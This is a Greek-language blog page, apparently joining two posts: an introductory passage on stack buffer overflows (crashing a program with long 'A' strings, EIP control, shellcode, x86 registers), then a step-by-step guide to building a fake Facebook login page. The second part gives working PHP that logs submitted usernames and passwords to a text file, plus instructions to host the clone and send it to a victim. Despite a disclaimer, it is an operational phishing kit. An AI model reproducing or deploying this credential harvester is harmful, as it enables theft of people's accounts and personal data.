αλλά υπάρχει σωστός χειρισμός του λάθους και δεν κρασάρει.
Κάνουμε επεξεργασία του script και αντικαθιστούμε το 1000
με 2000 Α και ξαναπροσπαθούμε. Ίδια συμπεριφορά.(Σωστός
χειρισμός λάθους οπότε δεν μπορούμε να κάνουμε ακόμα τίποτα)
Αντικαθιστούμε με 3000 Α και BOOM το πρόγραμμα πέθανε!
Οπότε το πρόγραμμα πεθαίνει αν το γεμίσουμε από 2000 μέχρι
3000 Α αλλά τι μπορούμε να κάνουμε με αυτό;
Προφανώς, όταν κρασάρει μια εφαρμογή δεν οδηγούμαστε σε exploitation.Σε πολλές περιπτώσεις
ένα κρασάρισμα της εφαρμογής δεν οδηγεί σε exploitation…Aλλά
μερικές φορές το κάνει. Όταν λέω exploitation
εννοώ όταν θέλεις μια εφαρμογή να εκτελέσει κάτι διαφορετικό απ’αυτό που
είναι προκαθορισμένη να κάνει…όπως να τρέξει τον κωδικό σου.
Ο ευκολότερος τρόπος για να το κάνεις αυτό είναι το να
ελέγξεις την ροή της εφαρμογής(και να την κατευθύνεις κάπου αλλού).Αυτό μπορεί
να γίνει με τον έλεγχο του Instruction Pointer το οποίο είναι καταχωρητής της CPU, ο οποίος περιέχει έναν pointer ,στον
οποίον είναι τοποθετημένη, η επόμενη ενέργεια που θα εκτελεστεί.
Υπέθεσε ότι μια εφαρμογή έχει μία λειτουργία με μία
παράμετρο. Πριν πάει στην λειτουργία, αποθηκεύει την υπάρχουσα τοποθεσία στον δείκτη εντολής(Instruction pointer),οπότε ξέρει που να
γυρίσει όταν ολοκληρωθεί η λειτουργία.
Αν μπορέσεις να αλλάξεις την τιμή του pointer και να
το οδηγήσεις σε μια τοποθεσία που η μνήμη περιέχει τον δικό σου κώδικα, τότε
μπορείς να αλλάξεις την ροή της εφαρμογής και να την κάνεις να εκτελέσει κάτι
διαφορετικό(διαφορετικό από το να γυρίσει στην φυσιολογική θέση).Ο κώδικας που
θέλουμε να εκτελεστεί λέγεται shellcode.
Oπότε εάν κάνουμε μια
εφαρμογή να τρέχει τον shellcode μας, μπορούμε να την ονομάσουμε working exploit. Στις περισσότερες
περιπτώσεις ο Pointer αυτός αναφέρεται ως ΕΙΡ. Αυτός ο καταχωρητής έχει μέγεθος 4 bytes.Οπότε εάν μπορέσεις να
τροποποιήσεις αυτά τα 4 Bytes ελέγχεις την εφαρμογή και το κομπιούτερ που την έχει.
Μετά από ένα PUSH η ESP θα πάει στην χαμηλότερη
μνήμη(η μνήμη μειώνεται με το μέγεθος του αρχείου που σπρώχνεται στο stack, το οποίο είναι 4 bytes στην
περίπτωση των δειυθύνσεων/pointers).
Μετά από ένα POP επίσης η ESP
πηγαίνει σε υψηλότερο σημείο (αυξάνεται ανα 4 Bytes στην περίπτωση
διευθύνσεων/δεικτών.Οι αυξήσεις γίνονται μετά που ένα αντικείμενο μετακινείται από
το Stack.
Όταν μπαίνει μια λειτουργία, μια stack frame δημιουργείται.
Αυτό το πλαίσιο κρατάει τις παράμετρους της αρχικής διαδικασίας μαζί και
χρησιμοποιείται για να περάσει arguments στην υποδρομολόγηση. Στην πρόσφατη τοποθεσία του stack μπορούμε να μπούμε μέσω
του ESP, την προσωρινή
βάση της λειτουργίας που περιέχεται στο ΕΒΡ.
Παρουσιάζω για να έχετε μια ιδέα καταχωρητές γενικού σκοπού
της CPU (Intel, x86) είναι οι εξής:
EAX:
συσσωρευτής: χρησιμοποιείται για την εκτέλεση υπολογισμών
EBX:
βάση (δεν έχει τίποτα να κάνει με τη βάση του δείκτη). Δεν έχει γενικό σκοπό
και μπορεί να χρησιμοποιηθεί για αποθήκευση δεδομένων.
ECX:
μετρητής: χρησιμοποιείται για επαναλήψεις. O ECX μετράει προς τα κάτω.
EDX:
δεδομένα: Αυτό είναι μια επέκταση του μητρώου EAX. Επιτρέπει τους πιο σύνθετους
υπολογισμούς (πολλαπλασιασμό διαίρεση) επιτρέποντας επιπλέον στοιχεία που
πρέπει να αποθηκεύονται για να διευκολύνουν αυτούς τους υπολογισμούς.
ESP:
δείκτης στοίβας
ΕΒΡ: βάση δείκτη
ESI:
Δείκτης πηγής: κατέχει θέση των δεδομένων εισόδου
ΕDI:Δείκτης
προορισμού σημεία στη θέση του όπου είναι αποθηκευμένο το αποτέλεσμα της
λειτουργίας των δεδομένων
ΕΙΡ: δείκτης εντολών
Για να δείτε την κατάσταση του stack (και την τιμή των μητρώων, όπως τον
δείκτη εντολής, η stack pointer
κλπ), πρέπει να συνδέσετε ένα πρόγραμμα εντοπισμού σφαλμάτων για την εφαρμογή,
ώστε να μπορούμε να δούμε τι θα συμβεί κατά τη στιγμή που εκτελείται η εφαρμογή
(και ειδικά όταν πεθάνει).
(συνέχεια...)
(συνέχεια...)
Υπάρχουν πολλοί και διάφοροι τρόποι να κάνεις μια ιστοσελίδα ψαρέματος κι εγώ φυσικά θα γράψω τον πιο απλό, αν και με το θέμα του phishing θα ασχοληθούμε αρκετά σε επόμενα posts.
Ιστοσελίδα ψαρέματος λέμε μια σελίδα η οποία κατ'ουσία ψαρεύει απο τον χρήστη προσωπικά του στοιχεία όπως passwords, αριθμούς πιστωτικής κάρτας και πολλά άλλα. Στην ουσία είναι μια σελίδα που μοιάζει με μια αρκετά γνωστή ή φαινομενικά ασφαλής που να κάνει το υποψήφιο θύμα να πιάσει το δόλωμα και να καταχωρήσει τα προσωπικά του στοιχεία.
Υπάρχουν πολλά είδη τέτοιων ιστοσελίδων όπως Phising, Spear phising,Clone phising, Rogue κλπ όπου το κάθε είδος έχει και την δική του τεχνική και στρατηγική.
Φυσικά υπάρχουν κι άλλοι τρόποι ψαρέματος βέβαια όπως με φωτογραφίες παραδείγματος χάριν, που δύσκολα πιάνεται απο ant-iphishing φίλτρα.
Το παρακάτω παράδειγμα είναι αρκετά απλό αλλά γενικά σαν νοοτροπία και τρόπος υποκλοπής των στοιχείων του χρήστη θέλει τέχνη και είναι αρκετά δύσκολο το να πετύχει(εφόσον μιλάμε για στοχευμένο χρήστη κι οχι πετάω ένα url στο διαδίκτυο κι όποιος το πατήσει)
ΠΡΟΣΟΧΗ! ΔΕΝ ΕΠΙΚΡΟΤΩ ΤΕΤΟΙΕΣ ΕΝΕΡΓΕΙΕΣ ΑΛΛΑ ΕΙΝΑΙ ΣΗΜΑΝΤΙΚΑ ΝΑ ΒΓΑΙΝΟΥΝ ΑΥΤΑ ΤΑ ΘΕΜΑΤΑ ΩΣΤΕ ΝΑ ΕΙΝΑΙ ΕΝΗΜΕΡΟΣ Ο ΚΟΣΜΟΣ ΓΙΑ ΘΕΜΑΤΑ ΑΣΦΑΛΕΙΑΣ.
Θα κάνουμε μια ιστοσελίδα σαν το facebook στην οποία οταν γράφεται ο οποιοσδήποτε μπορούμε να πάρουμε τα στοιχεία του.
1)Πρώτα κάνουμε ένα αρχείο php το οποίο το ονομάζουμε login.php και έχει τον παρακάτω κώδικα
<?php
header ('Location:http://www.facebook.com');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
2)Μετά πάμε στο facebook.com και πατάμε ctrl+S και επικόληση στο Notepad,Dreamweaver, notepad++ ή οτι editor έχετε και πατήστε επικόληση( ctrl+V). Κάνουμε δλδ αντιγραφή και επικόληση τον source code της ιστοσελίδας facebook στον editor μας.
3) Επιτόπου όπως είμαστε με τον source code μπροστά μας πατάμε ctrl+F και ψάχνουμε action χωρίς εισαγωγικά το οποίο θα είναι κάπως έτσι: action="www.facebook.com/login.php?login_attempt=1.
Το "www.facebook.....=1" το αντικαθιστούμε με το login.php το οποίο το δημιουργήσαμε αρχικά.
4) Κλείνουμε και αποθηκεύουμε την ονομασία index.html.
5)Προς το παρόν έχουμε 2 files, ο ένας είναι με ονομασία login.php και ο άλλος ως index.html.
6)Τώρα μένει να την ανεβάσουμε την ιστοσελίδα μας σ'ενα web hosting site όπως στο www.000webhost.com το οποίο είναι και εύκολο και δωρεάν.
7)Κάνεις λογαριασμο και πατάς control panel και μετά file manager. Διαγράφεις τον φάκελο default.php και ανεβάζεις το index.html και login.php.
8)To site σου είναι έτοιμο για χρήση. Αφού το στείλεις στο υποψήφιο θύμα μπορείς να δείς τα στοιχεία του αφού ανοίξεις τον λογαριασμό σου στο Hοsting site πας στο file manager και μετά στο public.html εκέι θα έχει έναν φάκελο username text και εκέι θα βρείς οτι χρειάζεσαι :D
Με αυτό το απλό τρίκ πολλοί έχουν πέσει θύματα απάτης και άλλοι έχουν θησαυρίσει οπότε μην το υποτιμάτε.




0 σχόλια:
Δημοσίευση σχολίου